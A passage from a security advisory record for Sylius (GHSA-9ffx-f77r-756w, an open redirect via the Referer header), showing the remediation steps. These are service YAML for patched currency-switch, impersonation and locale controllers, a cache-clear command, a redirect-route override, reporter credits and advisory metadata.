$userProvider: \u0027@sylius.admin_user_provider.email_or_name_based\u0027\n            $router: \u0027@router\u0027\n            $authorizationRole: \u0027ROLE_ADMINISTRATION_ACCESS\u0027\n\n    # Only if you use locale_switcher: storage\n    sylius.shop.locale_switcher:\n        class: App\\Locale\\StorageBasedLocaleSwitcher\n        public: false\n        arguments:\n            $localeStorage: \u0027@sylius.storage.locale\u0027\n            $channelContext: \u0027@sylius.context.channel\u0027\n            $router: \u0027@router\u0027\n```\n\n**Sylius 2.x (2.0 \u2013 2.1):**\n\n```yaml\nservices:\n    # ... your existing services ...\n\n    sylius_shop.controller.currency_switch:\n        class: App\\Controller\\CurrencySwitchController\n        public: true\n        arguments:\n            $currencyStorage: \u0027@sylius.storage.currency\u0027\n            $channelContext: \u0027@sylius.context.channel\u0027\n            $router: \u0027@router\u0027\n\n    sylius_admin.controller.impersonate_user:\n        class: App\\Controller\\Admin\\ImpersonateUserController\n        public: true\n        arguments:\n            $impersonator: \u0027@sylius_admin.security.shop_user_impersonator\u0027\n            $authorizationChecker: \u0027@security.authorization_checker\u0027\n            $userProvider: \u0027@sylius.shop_user_provider.email_or_name_based\u0027\n            $router: \u0027@router\u0027\n            $authorizationRole: \u0027ROLE_ADMINISTRATION_ACCESS\u0027\n\n    # Only if you use locale_switcher: storage\n    sylius_shop.locale_switcher:\n        class: App\\Locale\\StorageBasedLocaleSwitcher\n        public: false\n        arguments:\n            $localeStorage: \u0027@sylius.storage.locale\u0027\n            $channelContext: \u0027@sylius.context.channel\u0027\n            $router: \u0027@router\u0027\n```\n\n#### Step 5 - Clear cache\n\n```bash\nbin/console cache:clear\n```\n\n---\n\n#### Customizing the redirect target\n\nIf you need a different redirect target, override the route definition with the `_sylius.redirect` attribute:\n\n```yaml\n# config/routes/sylius_shop.yaml (AFTER the sylius_shop resource import)\nsylius_shop_switch_currency:\n    path: /{_locale}/switch-currency/{code}\n    methods: [GET]\n    defaults:\n        _controller: sylius.controller.shop.currency_switch:switchAction\n        _sylius:\n            redirect: sylius_shop_product_index  # or any route name\n```\n\n### Reporters\n\nWe would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability:\n- Bart\u0142omiej Nowi\u0144ski (@bnBart)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues?q=sort%3Aupdated-desc+is%3Aissue+is%3Aopen)\n- Email us at [security@sylius.com](mailto:security@sylius.com)",
  "id": "GHSA-9ffx-f77r-756w",
  "modified": "2026-03-11T20:32:25Z",
  "published": "2026-03-11T00:12:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-9ffx-f77r-756w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31819"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sylius/Sylius"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sylius has an Open Redirect via Referer Header"
}